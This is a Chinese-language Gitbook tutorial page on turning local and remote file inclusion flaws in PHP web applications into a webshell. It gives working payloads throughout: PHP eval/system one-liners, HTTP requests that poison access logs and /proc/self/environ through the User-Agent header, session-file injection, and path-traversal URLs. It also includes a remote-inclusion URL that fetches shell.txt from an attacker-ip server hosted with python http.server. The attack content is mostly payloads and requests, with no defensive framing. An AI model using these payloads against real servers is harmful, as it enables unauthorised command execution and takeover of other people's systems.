怎么 GetShell

本地文件包含 (LFI) Getshell

LFI 的 Getshell 方法通常需要结合其他漏洞或技巧。攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码

1. 日志文件 Getshell

这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如access.logerror.log

利用步骤:

  1. 注入恶意代码:通过一个特制的 HTTP 请求,将恶意代码(如 PHP Webshell 代码)注入到服务器的日志文件中。例如,在 URL 中加入或在 User-Agent 字段中写入 Webshell 代码:

    <?php eval($_GET['cmd']);?>
    

    一个完整的 HTTP 请求可能看起来像这样:

    GET /?page=test.php HTTP/1.1
    Host: example.com
    User-Agent: <?php system('whoami');?>
    

    这样,服务器的 access.log 文件中就会记录下这段恶意代码

  2. 包含日志文件:利用 LFI 漏洞,通过文件包含参数(如 pagefile),包含日志文件

    http://example.com/index.php?file=../../../../var/log/apache2/access.log
    

    当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的system('whoami'); 命令

  3. 获取 Webshell:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了

    http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -al
    

2. Session 文件 Getshell

某些 Web 应用程序会将用户的 Session 信息保存在服务器的 /tmp/ 目录下的文件中,文件命名通常为 sess_PHPSESSID。如果攻击者可以控制 Session 数据,就能通过 LFI 包含该文件 Getshell

利用步骤:

  1. 设置 Session 值:通过 $_SESSION 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时

    $_SESSION['username'] = "<?php eval($_POST['cmd']);?>";
    
  2. 获取 Session 文件路径:通常 Session 文件的命名是 sess_ 加上 Session ID。可以通过浏览器 Cookies 中的PHPSESSID 来获取

    http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7
    
  3. 执行恶意代码:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行

3. /proc/self/environ Getshell

在 Linux 系统中,/proc/self/environ 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它

利用步骤:

  1. 设置 User-Agent:发送一个带有恶意 User-Agent 的请求

    GET /index.php?page=test.php HTTP/1.1
    Host: example.com
    User-Agent: <?php system('whoami');?>
    
  2. 包含环境变量文件

    http://example.com/index.php?file=../../../../proc/self/environ
    
  3. 执行恶意代码:成功包含后,恶意代码即被执行

远程文件包含 (RFI) Getshell

RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件

利用步骤:

  1. 制作 Webshell 文件:在攻击者自己的服务器上创建一个 Webshell 文件,例如 shell.txt,内容如下:

    <?php eval($_POST['cmd']);?>
    

    为了绕过一些过滤,文件名可以不使用 .php 后缀,例如 shell.txtshell.jpg

  2. 启动 HTTP 服务:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管shell.txt

    python3 -m http.server 80
    
  3. 远程文件包含:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 shell.txt

    http://example.com/index.php?file=http://attacker-ip/shell.txt
    

    注意:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 data://)等技巧

  4. 连接 Webshell:如果成功,shell.txt 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了

    POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1
    Host: example.com
    Content-Type: application/x-www-form-urlencoded
    
    cmd=ls -al
    
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:59

results matching ""

    No results matching ""